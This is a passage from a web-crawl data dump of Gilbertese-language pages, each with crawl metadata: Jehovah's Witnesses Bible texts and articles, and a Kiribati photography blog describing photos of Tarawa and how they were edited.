buakanna. E aera bwa e aki maaku?","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/10\/","date":"2018-04-21T01:07:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125944848.33\/warc\/CC-MAIN-20180420233255-20180421013255-00229.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":299,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.452,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"24 \"Ngkana e mare te mwaane temanna ma te aine temanna, ma e a aki kukurei iroun neiei ibukina bwa e kunea te bwai ae kamwara iroun neiei, e riai ni korea te beeba ni buuraure ibukin neiei,+ ao e na anganna, ao e na kanakoa man ana auti.+ 2 Imwini kitanan ana auti teuaei iroun neiei, e a kona n nako n riki bwa buun te mwaane temanna.+ 3 Ngkana e a ribaa neiei* teuare te kauoman ao e a korea te beeba ni buuraure ibukin neiei, ao e anganna, ao e kanakoa neiei man ana auti, ke ngkana e a mate teuare te kauoman are mare ma ngaia, 4 e na aki kariaiakaki teuare moani buuna are e a tia ni kanakoa, bwa e na manga anaia bwa buuna imwini kamwaraean neiei, bwa anne te bwai ae riribaaki iroun Iehova. Kam na tai uota te bure nakon te aba ae e a anganingkami Iehova ae Atuami bwa tibwangami. 5 \"Ngkana e a tibwa tia ni mare te mwaane, ao e aki riai n ira buakon te taanga ni buaka ke n anganaki beeku riki tabeua. E riai n inaomata mani beeku aikai i nanon teuana te ririki, ao e na tiku ni mwengana ma ni kakimwareireia buuna.+ 6 \"Akea ae e riai n anaa te atibu ni kamantinti ke atibuna are mai eta, bwa te bwai ni kaboomwi ibukin te bwai ae tangoaki,*+ bwa ai bon anaakin anne maiun te aomata* bwa te bwai ni kaboomwi. 7 \"Ngkana iai ae e kuneaki bwa e iraea tarina temanna* ae tibun Iteraera, ao e karaoa ae buakaka nakoina ao e kaboonakoa,+ e riai ni mate te tia iraa anne.+ Kam riai ni kanakoa te bwai ae buakaka mai buakomi.+ 8 \"Ngkana e a buti te rebera,* kam riai n rangi n taratara raoi bwa kam na karaoi bwaai ni kabane ake a na tuangingkami ibonga* ake tibun Rewi.+ Taratara raoi bwa kam na boni karaoa are I tua nakoia. 9 Uringa te bwai are e karaoia Iehova ae Atuami nakoni Miriam, i aoni kawaimi n otinako mai Aikubita.+ 10 \"Ngkana ko katangobwai n te bwai teuana nakon raom n aomata,+ ko na tai rin i nanon ana auti n anaa te baere e kaburea bwa kakoauaan ana tangobwai. 11 Ko riai n tei i tinaniku, ao te mwaane are tangobwai e riai n uota te bwai ni kaboomwi ibukin ana tangobwai, nakoim i tinaniku. 12 Ao ngkana e kainnano teuanne, ko na tai matu ma te baere e anga bwa te bwai ni kaboomwi ibukin ana tangobwai, are e mena iroum.+ 13 Ko bon riai ni kaoka nakoina te baere e anga bwa te bwai ni kaboomwi, n te tai are e bung taai iai, ao e na matu ma ana kunnikai,+ ao e na kakabwaiako, ao e na riki anne bwa raoiroim i matan Iehova ae Atuam. 14 \"Kam na tai babakanikawaia te tia mwakuri ae kabooaki ana mwakuri ae kainnano ao ae maiu ni kainnano, ae tao temanna mai buakoia tarimi ke te aomata ae maeka n iruwa ae mena i abami, n ami kaawa nako.*+ 15 Kam riai n anganna boon ana mwakuri n te bong naba anne,+ imwaini bungin taai, ibukina bwa e kainnano ao e boto maiuna* i aoni boon ana mwakuri. Bwa e kaawa n tang nakon Iehova ibukimi, ao kam na reke iai n te bure.+ 16 \"A aki riai ni kamateaki taama ibukin te bwai ae a karaoia natiia, ao a aki riai ni kamateaki naati ibukin te bwai ae a karaoia tamaia.+ E riai ni kamateaki te aomata tii ibukin oin ana bure.+ 17 \"Kam na tai kabwaoua motikan taekan te aomata ae maeka n iruwa ke te teei ae akea tamana,*+ ao kam na tai anaa ana kunnikai te aine ae e a tia ni mate buuna bwa te bwai ni kaboomwi ibukin ana tangobwai.*+ 18 Uringnga are kam riki ngkoa bwa te toro i Aikubita, ao e a manga kabooingkami Iehova ae Atuami mai ikekei.+ Anne bukina ae I tua iai nakoimi bwa kam na karaoa aei. 19 \"Ngkana kam taia uaan ami tawaana ao kam mwaninga te bwabwati teuana n te tawaana, tai okinako n anaia. E riai ni katukaki ibukin te aomata ae maeka n iruwa, te teei ae akea tamana, ao te aine ae e a tia ni mate buuna,+ bwa e aonga ni kakabwaiaingkami Iehova ae Atuami ni bwaai ni kabane aika kam karaoi.+ 20 \"Ngkana kam ororea arokami ae te oriwa, kam aki riai ni kaoka karaoan anne nakoni mwaangana. E riai n tiku nikirana ibukin te aomata ae maeka n iruwa, te teei ae akea tamana, ao te aine ae e a tia ni mate buuna.+ 21 \"Ngkana kam rikoi kureebe n ami nne ni kureebe, kam aki riai n oki n rikoi ake nikiraia. A riai ni katukaki ibukin te aomata ae maeka n iruwa, te teei ae akea tamana, ao te aine ae e a tia ni mate buuna. 22 Uringnga are kam riki ngkoa bwa te toro n te aba are Aikubita. Anne bukina ae I tua iai nakoimi bwa kam na karaoa aei.\nTaiani Kabwarabwara Mai Nano\n^ Ke, \"rawa irouna.\"\n^ Ke, \"bwa te bwai ni kakoaua.\"\n^ Te taetae n Ebera ae rairaki bwa \"rebera\" e raababa nanona, ao e kona n irekereke ma aorakin te kun riki tabeua aika ewewe. E kona naba n irekereke ma aorakin te kunnikai ao taian auti.\n^ Nora Nanon Taeka.\n^ Ebera, \"mataroan nako te oo.\"\n^ Ke, \"te teei ae a a tia ni mate ana karo.\"\n^ Ke, \"bwa te bwai ni kakoaua.\"","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-tua-kaua\/24\/","date":"2018-04-19T20:38:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937016.16\/warc\/CC-MAIN-20180419184909-20180419204909-00542.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":906,"character_repetition_ratio":0.076,"word_repetition_ratio":0.059,"special_characters_ratio":0.245,"stopwords_ratio":0.432,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Arokan Kiribati ae rangi ni kabuta mani mwaiti kurikuri. E aki reke ara kikina man tarakina bwa te irira ao ngkai akea naba uaana n te tai aio. E tara n aki rangi ni maeuraoi te aroka aio tao kioina ngkai e rikirake ma aroka aika bati ngkai e bon buakoako ana tabo aio.\nE ngae n anne ao oin te kantaninga n rawean te aroka aei bon kani katuruan tarakin riki wakaana ma kunna ake a katekereke ni irianaki ma taian rain (lines and patterns) ake iai.\nOkoron ara tamnei aio bwa e vertical ao ake mai mwaaina a bane ni horizontal teiia .. e tamaroa naba te bibitaki.\nKo rabwa ibukin rokom ao mamatakum n ara tamnei. Ti a manga nora are imwiina bwa tamnein tera.\nTekeraoi am Xmas & Ririki Ae Boou 2018.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/aerophotoblog.com\/tag\/sunray\/","date":"2018-04-26T03:23:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948064.80\/warc\/CC-MAIN-20180426031603-20180426051603-00227.warc.gz","language":"gil","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000096559524536}","num_words":133,"character_repetition_ratio":0.02,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.331,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te tongo bon arokara ae moan te kakawaki ibukin totokoan kanakin mataniwiin abara. Riki inanon ririki aikai ngkai e noraki korakoran ana urubwai iabuntin taari – are e taekinaki bwa kanoan ana waaki climate change.\nE rangi ni mwaiti kurikuri te tongo n te tabo aio ma I rinea aio kioina bwa e onoti ao man mataata n ti ngaia. I aki kabongana te tripod (stand) ngkai taari ae I tei iai.\nI mwaain ae I katoka ikai ao I edit moa n taian photo programs n aron ps4, picasa ao tabeua riki.\nKaean Betio mai Bikenibeu n te kaa tao bon nakon 1 te aoa ngkana ko buti n 20-30km\/hr. I tangiria n roko i tabon te uaabu are i Betio imwaain ae bati te aomata, aingaia are tao 5am n te ingabong aio (31\/10\/17) ao I a kaea Betio n te kaa.\nI aoni kawaiu ni butirio, ao I teitei n rawetamnei n taabo aikai – Anderson causeway, Teaoraereke – Nanikaai causeway, Nanikaai – Bairiki causeway, Bairiki Square ao ai n te Bairiki Stadium. I a manga katokai au tamnei tabeua man taabo aikanne n reken au tai.\nTao 8am ao I roko i Betio. Aio mai buakon au tamnei n te tabo anne. Bon tabon te uaabu are nakon te Jetty are a mena iai te KPA ma te CPP.\nN na manga katokai tabeua riki tamnein tabon te uaabu aio. Ko rabwa n rokom ao tekeraoi.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/aerophotoblog.com\/tag\/sky\/","date":"2018-04-26T03:22:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948064.80\/warc\/CC-MAIN-20180426031603-20180426051603-00412.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":234,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.368,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te tongo bon arokara ae moan te kakawaki ibukin totokoan kanakin mataniwiin abara. Riki inanon ririki aikai ngkai e noraki korakoran ana urubwai iabuntin taari – are e taekinaki bwa kanoan ana waaki climate change.\nE rangi ni mwaiti kurikuri te tongo n te tabo aio ma I rinea aio kioina bwa e onoti ao man mataata n ti ngaia. I aki kabongana te tripod (stand) ngkai taari ae I tei iai.\nI mwaain ae I katoka ikai ao I edit moa n taian photo programs n aron ps4, picasa ao tabeua riki.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/aerophotoblog.com\/tag\/tree\/","date":"2018-04-26T03:30:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948064.80\/warc\/CC-MAIN-20180426031603-20180426051603-00419.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":92,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.38,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E TAEKINA TE KAIKONAKI IESU ARE TAEKAIA AINE AIKA TENGAUN AIKA TUAI NI BOO MA MWAANE\nE tabe ngkai ni kaekaa aia titiraki ana abotoro Iesu ibukini kanikinaean okina ma tikuna ao tain tokin te waaki ae ngkai i aon te aba. N iangoan aei ao e a kaungaia ngkai ma te wanawana rinanon riki te kaikonaki teuana. E na noraki kakoroani bukina irouia ake a maiu n te tai are e a oki ma n tiku iai.\nE moana te kaikonaki ni kangai: \"Te Tautaeka n Uea ae bwaini karawa, e kona ni kabotauaki ma aine aika tengaun aika tuai ni boo ma mwaane ake a anai aia taura ao a nako ni butimwaea te tia mare te mwaane. Niman i buakoia a nanobaba ao ake niman a wanawana.\"—Mataio 25:1, 2.\nE aki nanonna Iesu bwa a nanobaba iterani mwaitiia taan rimwina ake a karekea te Tautaeka n Uea ae bwaini karawa, ao iteraia a wanawana. Ma e taekina te bwai ae kakawaki ni kaineti ma te Tautaeka n Uea bwa a kona n rineia taan rimwina bwa a na teimatoa n tantani ke a na katabetabeaki. E aki nanououa Iesu bwa a kona ana toro n tatabemania nako n teimatoa ni kakaonimaki ao ni karekea ana kakabwaia Tamana.\nN te kaikonaki ao a bane n otinako ataeinnaine ake tengaun ni butimwaea te tia mare te mwaane ao n raonna nakon te baka ni mare. Ngkana e roko ao a na kaurai aia taura ataeinnaine aikai ni kaotaa iai te kawai, ni karinea ngkai e a airi ma buuna nakon te auti are e katauraoaki ibukin neiei. Ma a kangaa n riki baikai?\nE kabwarabwaraa Iesu ni kangai: \"Naake a nanobaba a uotii aia taura ma a aki uotii aia bwaa, ma naake a wanawana a uotii aia bwaa n aia atinibwa, ma aia taura. Ngke e a baenikai te tia mare te mwaane, ao a a bane n nimatutu ma ni matu.\" (Mataio 25:3-5) E aki moantaai n roko te tia mare te mwaane n aron ae kantaningaaki. E taraa n rangi ni baenikai ao n te tai anne a a matu ataeinnaine. Tao a bae n uringa ana taeka Iesu abotoro ibukin te aomata temanna ae te bwaanuea are e nako ao \"e a oki imwini karekeani mwaakana n uea.\"—Ruka 19:11-15.\nN te kaikonaki ae taekaia ataeinnaine ake tengaun, e kabwarabwaraa Iesu te bwai ae riki n te tai are e a roko iai te tia mare te mwaane ni kangai: \"N te nukanibong ao e a takaruaeaki ae kangai, 'Aio te tia mare te mwaane! Kam na otinako ni butimwaeia.' \" (Mataio 25:6) Tera aroia ataeinnaine ake a tatauraoi ao n tantani?\nE reitia Iesu ni kangai: \"Ao a bane n teirake aine aikai ao a katauraoi aia taura. A taku naake a nanobaba nakoia naake a wanawana, 'Anganira teutana ami bwaa bwa a a kaani mate ara taura.' A kaeka naake a wanawana ao a kangai, 'Tao e bae n aki tau ibukira ma ngkami. Naako nakoia taani kaboo bwaa, ao kabooi ami bwaa.' \"—Mataio 25:7-9.\nMangaia are a aki tantani ao n tauraoi ataeinnaine ake a nanobaba ake niman imwain rokon te tia mare te mwaane. E aki tau aia bwaa ibukin aia taura ao a riai ni kakaaea. E taku Iesu: \"Ngke a a nako ni kabooi, ao e a roko naba te tia mare te mwaane. A rin ma ngaia nakon te baka ni mare aine aika tuai ni boo ma mwaane ake a tauraoi, ao e kainaki te mataroa imwia. Imwina ao a a roko aine ake niman riki ao a taku, 'Te toka, te toka, kaukia nakoira!' E kaekaia ni kangai, 'I tuangingkami te koaua, bwa I aki kinaingkami.' \" (Mataio 25:10-12) Ai kananokawakira mwin te aki tatauraoi ao te aki tantani!\nA ataia abotoro bwa te tia mare te mwaane are e taekinna Iesu bon taekana. Mai mwaina ao e kabotaua naba ma te tia mare te mwaane. (Ruka 5:34, 35) Ao antai aine aika wanawana aika tuai ni boo ma mwaane? Ngke e taekina te \"nanai ae uarereke\" Iesu ake a na anganaki te Tautaeka n Uea, ao e kabonganai taeka aikai: \"Karin ami kunnikai ao kam na tauraoi, ao kaurai ami taura.\" (Ruka 12:32, 35) Ngaia are n te kaikonaki ae taekaia aine ake a tuai ni boo ma mwaane, a kona n ataia abotoro ae Iesu e bon taekinia te koraki ake ai aroia. Ma tera raoi te rongorongo ae e katereterea Iesu n te kaikonaki aei?\nE aki kananokokoraka te aba Iesu n anne. E motika ana kaikonaki ni kangai: \"Mangaia ae teimatoa n tantani, bwa kam bon aki ataa te bong ma te aoa.\"—Mataio 25:13.\nE teretere bwa e kaungaia taan rimwina aika kakaonimaki Iesu n te bwai ae irekereke ma okina ao tikuna, bwa a bon riai n \"teimatoa n tantani.\" E na bon roko ao a riai n tauraoi ao n tantani n aroia aine aika niman aika tuai ni boo ma mwaane bwa a aonga n aki mwaninga taekan aia kantaninga ae tamaroa, ao ni kabuaa kaniwangaia are e na reke irouia.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/ana-kabanea-ni-mwakuri-ni-minita\/kaikonaki-tengaun-aine-aika-tuai-ni-boo-ma-mwaane\/","date":"2018-04-21T01:18:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125944848.33\/warc\/CC-MAIN-20180420233255-20180421013255-00383.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":837,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Iai n Taeka N Rabakau te reirei ni kairiri ae manena ibukia kaaro. N aron te aroka ae rikirake raoi ngkana e kabwaouaaki mwaangana, ao ai aroia naba ataei ake a reireinaki ni kataneiaaki bwa a na tangira riki te beku iroun Iehova ngkana a ikawai.\nE kainnanoa te tai ae bati ao te kakorakora reireinaia ataei ni kataneiaia raoi\nA riai kaaro ni katea te katoto ae raoiroi ao n reireinia raoi natiia, ni kaungaia, ni boutokaiia, ao ni kaetiia\nTe reirei ni kaetieti bon te reirei ni kataneiai ae irianaki n te tangira, ae kaeta te iango ao te nano\nA kainnanoi ataei reirei ni kaetieti aika kakaokoro","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/okitobwa-2016-mwb\/kaetieti-n-te-botaki-oki31-nob6\/reireinia-ataei-ni-kataneiaia\/","date":"2018-04-23T04:57:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945724.44\/warc\/CC-MAIN-20180423031429-20180423051429-00385.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":110,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.195,"stopwords_ratio":0.445,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E aki rangi n kakabonganaki te taeka ae 'bungin namwakaina' (moonset) tao kioina bwa e burenibwai norana irouia aomata. Tiaki aron te taeka ae 'bungintaai' (sunset) are ko rangi ni bati riki n ongongo n te marooro. Bukina ni koaua bwa 'bungintaai' ti nonoria n te bong koraki – ma 'bungin namwakaina' e riki n te karangaina n ara tai ni matu.\nIaoni kawaina ni bung namwakaina n ara tamnei aio. Ti raweia i tanrion Nanikai-Teaoraereke kotiweei n te karangaina tao te aoa 6am. Ngaira ake ti tuai man kauia te aoa aio (moonset hour) e a reke ara tai n noria n ara tamnei aei.\nAikai kaibuke (wa-uawa) are a bae ma rarikin te uaabu are i Betio ni uakaan ma te jetty. E karako te koraki n ririaki n te aono aio kioina bwa e a tibwa ingabong. Tao ngkana e tawanou riki ao tao e na manga rangi n tabetabe te tabo aio irouia kaa ma taan mwakuri ibukin katauraokin waa aikai nakon aia borau are imwiina.\nThis photo is just about a day old as I took it yesterday morning (5\/12\/17) at around 7am. Luckily, the security allowed me to take few photos of this building. It is USP Kiribati Campus at Teaoraereke Tarawa. It's among the three storey buildings to have been built on the island. I took the shot from this location so that the whole building is visible. For better stableness, the tripod was used and timing was also set.\nThe scene facing you is a spot close to KPF Complex in Bairiki. This particular area has always been called 'Anteitai Marketplace'. Few months before the shot was taken, the fire accidently broke out here destroying almost all the marketing tents\/stores built here. The fire was among the biggest ever happened on South Tarawa. It could have burned down KPF commercial complex, but luckily water trucks and people managed to protect the two buildings from the fire.\nThe big tree out there is 'te itai', and as you see, it's still recovering from the damage of that fire. We now can see those houses since the marketplace was gone. The open space in the foreground is what left behind – after the fire rubble had been cleared and the ground leveled.\nTeuana mai buakon 3 taian roundabouts iaon Tarawa\/Betio. Ibukia ake a maan n tuai n roko\/okira Tarawa, ao te roundabout aei are i tabon Bikenibeu mainiku. Iai 3 kawaina n otinako bwa nako Temwaiku (left), Bonriki Airport (bottom right) ao Bikenibeu (upper right).\nE kona ni bati te nanououa n aron tuan te roundabout. Nanououa aikai a kona ni karekei kangaanga\/kurati. N aia kaongora bureitiman iaon kabonganan te roundabout, ao a taku bwa te bwai ae kakawaki bwa ko riai n tei ao ni karimoa\/kanakoa moa te vehicle are e moan roko\/toka n te roundabout. Ngkana e boraoi rokom ma te vehicle anne n te roundabout ao ko a kaai naba ni butinako ma ngaia n te tai ae ti teuana.\n'Have A Job' actually talks about why these rocks are placed at this particular site. What if the rocks fall or are washed away by the waves? Our road (newly built) will be gone!\nIt's Temwaiku again but this time on the ocean side of the Taiwan Technical Mission camp. For a change, I turned this colour scene into B&W – then with the use of fade style it ended up as this.\nWonder, what the next photograph is going to be? See you …\nAio naba teuana mai buakon au rawetamnei are I raweia inanon au tai ni kaea tabon te Uaabu are i Betio, mai Bikenibeu. E rangi n rau te tai ao te tabo anne bwa akea aomata ke kaa ni buti are a kona n tutuki ke ni karinraa n au tai n rawetamnei – bukina bwa te moaningabong.\nI aki kabwarabwara bwa ia te tabo aio ma ko a bon taekinna n te comment ngkana ko kina.\nTera te tamaroa ikai? Te rau, te itiaki, te ang ae mwaitoro mai tanrake riki ngkai e tuai matoa te riringa (are I namakinna), te mwawawa n akea te ribwanono ao tao iai riki. Karawa e riki bwa te tia kaotarai raoi taian objects akana n te front. Irarikin anne ao e bon anga naba te kara ae buru-maii ao otana ae itiaki mani kakukurei.\nTe original bon 4608 x 2377 pixels ma rawatana ae 8.23 MB. N aron ae ko a tia n ataia ao I ti kakatoka te seize ae 1280 pels.\nNote: \"Ngkana iai te tabo ke te bwai (ti iaon Tarawa) ae ko kainanoa noran tamneina ao kaongoira bwa ti na raweia ibukim (n akean te kangaanga iai). N tiana ao ti a manga katoka ikai ibukin norana ao te mamataku\"\nKo rabwa ao tera ara tamnei ngkanne are i mwiina?","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/aerophotoblog.com\/category\/landscape\/","date":"2018-04-26T03:38:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948064.80\/warc\/CC-MAIN-20180426031603-20180426051603-00460.warc.gz","language":"gil","language_score":0.9998495579,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9998495578765869}","num_words":794,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.261,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A RANGI ni mwaatai ni kateitei Betarera ao Ooriaba. A tangiria ni mwaninga ae a tia ni mwakuri korakora ni karaoi buriki aika rangi ni bati, ngke tooro ngaiia i Aikubita. Ngaia are, a bon aki kan uringi kanoan ririki akanne. A bae n tia ni kinaaki ngkai bwa taani karaobwai ni mwiokoaia ae kairani katean te umwanrianna ae tabu. (TeOti. 31:1-11) E ngae n anne, bon tii tabeman ake a nori mwin aia mwakuri aika a rangi n tamaroa. A na un iai? E kakawaki bwa antai ae nora mwin aia mwakuri? E kakawaki bwa antai ae nora mwin am mwakuri?\nMWAKURI AIKA RARAOI AKE A TII KONA N NORI TABEMAN\nA karaoaki tabeua bwain nanon te umwanrianna n te aro n rabakau. Te katoto, iangoi kerubim aika koora ake a mena i aon te ati ni berita. E kabwarabwarai te abotoro Bauro bwa a \"mimitong.\" (Ebera 9:5) Iangoi tamaroani baikanne ake a karaoaki man te koora!—TeOti. 37:7-9.\nNgke arona bwa a kuneaki n ara bong aikai baike a karaoi Betarera ao Ooriaba, a na boni bae ni kaakaki n umwanibong aika rangi n tanoata taekaia, are a kona n noraki irouia te botannaomata. Ma iraman ake a bon nora kamoamoaaia naakai n taai ake a moani karaoaki iai baikanne? A kaakaki kerubim n te tabo ae Rangi n Tabu, ae e tii kona te ibonga ae rietata n noria ngkana e rin iai teuana te tai n te ririki n te Bong ni Kabwarabure. (Ebera 9:6, 7) Ao ibukin anne, tii tabeman aika a nori mwin aia mwakuri naakai.\nKAREKEA TE RAUNNANO N AKI KAN ATONGAKI\nNgke arona bwa ngkoe Betarera ke Ooriaba, ae ko keiaki ni karaoi bwaai aika tamaroa, tera am namakin n ataakin ae tii tabeman aika nora mwin am mwakuri? Ni boong aikai, a namakina te kakatonga aomata ngkana a karekei kamoamoaaia ao atongaia mairouia tabon roroia. A iangoia bwa aei te anga ibukin norani kakawakin aia mwakuri korakora. Ma a kaokoro ana toro Iehova. N aron Betarera ao Ooriaba, ti karekea raun nanora ni karaoan nanon Iehova ao ni karekea akoara mairouna.\nN ana tai Iesu, a taneiai mataniwi n Aaro n taekin aia tataro ake a na kukurei iai tabeman. Ma e taekina te anga teuana ae kaokoro Iesu aei: Tataro ma nanom ni koaua ao n aki tangira kani kamoamoaam irouia taan ongora. Tera mwina? \"E na anganiko [Tamam] kaniwangam.\" (Mat. 6:5, 6) E mataata raoi bwa e aki kakawaki iangoan ara tataro irouia tabeman, ma e kakawaki ana iango iai Iehova. A rangi ni kakawaki ara tataro n te baere e iangoia. E kaineti naba ma baike ti kakoroi bukia n ara mwakuri ae tabu. E aki kakawaki bwa ti na kamoamoaaki iai, ma e na kukurei iai Iehova are \"e nori bwaai ni kabane.\"\nNgke e tia te umwanrianna, e \"rabuna te uma ni botaki te nang, ao e kaona uman te Atua mimitongin Iehova.\" (TeOti. 40:34, BG) Ai boni mataatara ana akoi Iehova! Tera aia namakin n te tai anne Betarera ao Ooriaba? E ngae ngke a aki oti araia ni baike a tia ni karaoi, ma a namakina te raunnano n ataan ae e kakabwaiaaki aia kakorakora iroun te Atua. (TaeRab. 10:22) N ririki ake imwina, a na boni kukurei n nori mwin aia mwakuri bwa a teimatoa ni kabonganaaki ibukin Iehova. Ngkana a a kautaki Betarera ao Ooriaba n te aonnaba ae boou, a na kukurei n ataia ae e kabonganaaki te umwanrianna ae tabu ibukin te taromauri ae koaua 500 tabun te ririki n nako!\nN ana botaki Iehova ni boong aikai, a bane n aki ataaki bwa antai taani karaoi taamnei aika kaatuun, taani korobanna, taan anene, taan rawetaamnei, taan rairai ao taani kororongorongo. Ni kakoauaan anne, akea ae \"nori\" baike a karaoi. E nanonaki naba iai te mwakuri ae bati, ae a tia ni karaoia ekaretia aika raka i aon 110,000 ni katobibia te aonnaba. Antai ae nora te tari ae tabe ma te akaunti, ni kanoai baike a kainnanoaki ibukin te akaunti ni banen te namwakaina? Antai ae nora te tia koroboki n te ekaretia ni katauraoa te ribooti ibukin te mwakuri ni minita n te ekaretia? Antai ae nora te tari te mwaane ke te aine ni buoka onobwaian te Tabo n Taromauri?\nImwaini mateia Betarera ma Ooriaba ao bon akea aia mwangko n tokanikai, aia meetera ke bwaai aika a na kinaaki iai ibukin rabakauia ni korotaamnei ao tamaroan aia kateitei. Ma a tia ni karekea te bwai ae kakawaki riki, ae bon akoaia iroun Iehova. Ti kakoauaa raoi bwa e nori Iehova mwin aia mwakuri. Ti bia kakairi n aia katoto ibukin te nanorinano ao kukureia n te mwakuri.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20150715\/a-mwakuri-betarera-ooriaba\/","date":"2018-04-23T06:31:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945793.18\/warc\/CC-MAIN-20180423050940-20180423070940-00409.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":769,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.404,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Here are few things I did before I finally produced this image. PS4, Photoscape and Picasa are mostly the photo software I use in post-processing photographs.\nYes, I cropped the top part of the image in order to raise the horizon a little bit up. I wanted the horizon to be higher than this but the result would be that much of the top part of the trees would be gone – which I didn't want.\nI also smoothened the sea and sky; and tried to make sure the details in the land weren't much affected. I mixed the sky from two (original and another) for more texture and motion up there. To look natural\/normal, I adjusted the colours and opacity. Sharpening was applied to some parts of the image as well.\nImage info:- Mode: A, F\/16, Shutter: 30s, FL:18mm, Cam: Nikon D3100, Lens: Kit lens, Timer: Set, Tripod: Yes\nOur next image is ready! I'll post it soon, so …\nView or download the original size image: HERE\nKo boni bae n tia n totoua te kawai are e biri ri tanrake mai tabon te airstrip are i Bonriki Airport ao ni buti nakoTemwaiku. Ngkana ko a tia ao ko na bae n tia n noora te aroka aio. E uakaan ma te auti are te boratentao. Tatara tanrake n taabo akanne ao ko na noora te ren ane e tei n ti ngaia n te tanrake anne.\nI rawea te tamnei aio n ririki aika a nako ma n te tai aei ao I a manga katoka ikai ibukin am kakibotu. Bon te karangaina ae I raweia iai. Oin raweana irou bwa iai te photo contest iaon te theme ae 'Lone Tree' are I ira buakona iaon teuana te website.\nObjects akana n te foreground (land, tree, sea, sun rays) bon taian original. Bukina bwa e aki rangi ni katika te mata te original sky aingaia are I a bitia nakon ae ko noria aio. Ngaia anne, I kataia ni blend (katomaa) te background ma te foreground n te aro are e na karako te kaokoro. E aki bebete irou karaona n te Photoshop (riki ngkai I a tibwa learn) ao I kabanea tao 5-6 hours.\nSee you in our next image .. what will it be?\nTi a bita moa ngkai ara scene man te Landscape nakon te Sunset. Te sunset bon teuana te scene ae rangi ni kan nonoraki iroura ni kabane. Eng, e bon tatangiraki ao mani kakukurei tarakin tamnein te sunset – riki taian kara ake e tatao iai te uraura ke te orange.\nKo ongongo aia anene ataein Kiribati are e bwabwainaki rimoa ngkana a nora taai 